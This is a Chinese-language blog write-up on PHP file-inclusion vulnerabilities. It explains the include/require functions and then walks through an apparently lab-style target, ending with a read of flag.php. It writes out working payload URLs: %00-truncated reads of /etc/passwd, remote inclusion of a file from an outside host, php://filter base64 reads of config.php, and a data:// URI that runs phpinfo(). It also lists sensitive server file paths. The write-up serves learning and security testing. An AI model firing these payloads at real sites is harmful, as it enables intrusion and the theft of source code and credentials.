WEB渗透测试_文件包含

概念
开发人员使用某些函数时直接调用此文件而无需再次编写 ->包含
将被包含的文件设置为一个变量 实现动态调用 灵活->弊端:漏洞的存在
PHP 四个函数:
include()
找不到目标文件 ->E_WARNING 脚本将继续执行
include_once()
顾名思义,包含1次
require()
找不到目标文件 ->E_COMPILE_ERROR 停止脚本
require_once()
顾名思义,包含1次

远程文件包含:RFI:REMOTE FILE INCLUDE &blah=
Index.php代码如下


    include($_GET['page']);
?>  

在自己网站上有文件如下:
http://xxx/php.txt
其中的代码为


    echo "Hello World";
?>  

访问http://target/Index.php?page=http://xxx/php.txt
要求开启
allow_url_include = on
该设置位于php.ini中

本地文件包含:LFI:LOCAL FILE INCLUDE %00截断后缀

下面用实例测试目标服务器的漏洞类型

1.记录一次渗透测试
随便写个后缀
发现文件包含有问题
http://xxxx/index.php?p=test
( ! ) Warning: include(test.page.php) [function.include]: failed to open stream: No such file or directory in /usr/local/apache2/htdocs/index.php on line 17

分析:
脚本的路径
/usr/local/apache2/htdocs/index.php
位于第17行 没啥用
include 函数! 关键
include(test.page.php)
意思是后面查询的会被写进去

写了%00截断一下看看
http://xxxxx/index.php?p=flag%00
Warning: include(flag) [function.include]: failed to open stream: No such file or directory in /usr/local/apache2/htdocs/index.php on line 17
好像有点思路?
我测试了好多敏感文件的位置(跨目录包含)
如下
目标系统是unix系统
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/usr/local/app/php5/lib/php.ini php相关设置
/etc/httpd/conf/httpd.conf apache配置文件
/etc/my.cnf Mysql的配置文件

测试了一波
http://xxx/index.php?p=/etc/passwd%00

都只会返回主页
看起来这种方式不能用了
防御:
防止跨目录:
在php.ini中设置open_basedir 猜想可能用了这招

试试远程文件包含
http://xxx/index.php?p=https://assets.pentesterlab.com/test_include.txt&blah=
我这里貌似失灵了
应该对’/’ ‘..’ 做了过滤

百度了一下有人用curl测试
根据我这台服务器百度搜索他的服务器日志文件位置
usr/local/apache2/logs/access_log
没用 我这个实例中没法直接按照路径索引得到目标文件
我不知道目标文件的位置 不可能大海捞针尝试名字
意味着肯定可能要getshell 或者 其他骚操作

法①:使用内置协议读取PHP文件

file://访问本地文件系统
http:// 网址
ftp:// 访问FTP url
php:// 输入/输出流 I/O streams
zlib:// 压缩刘
data:// 数据 RFC 2397
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glod:// 查找匹配的文件路径

http://xxx/index.php?p=php://filter/read=convert.base64-encode/resource=config.php%00
得到之后是一串base64
解码可以看源代码
试试看data
http://xxx/index.php?p=data:text/plain,%3C?php%20phpinfo();?%3E
成功
返回phpinfo();
随便测试了一个
http://xxx/index.php?p=php://filter/read=convert.base64-encode/resource=flag.php%00
成功~
法②
图片木马
需要配合上传功能
这里不讲了

你可能感兴趣的:(WEB安全)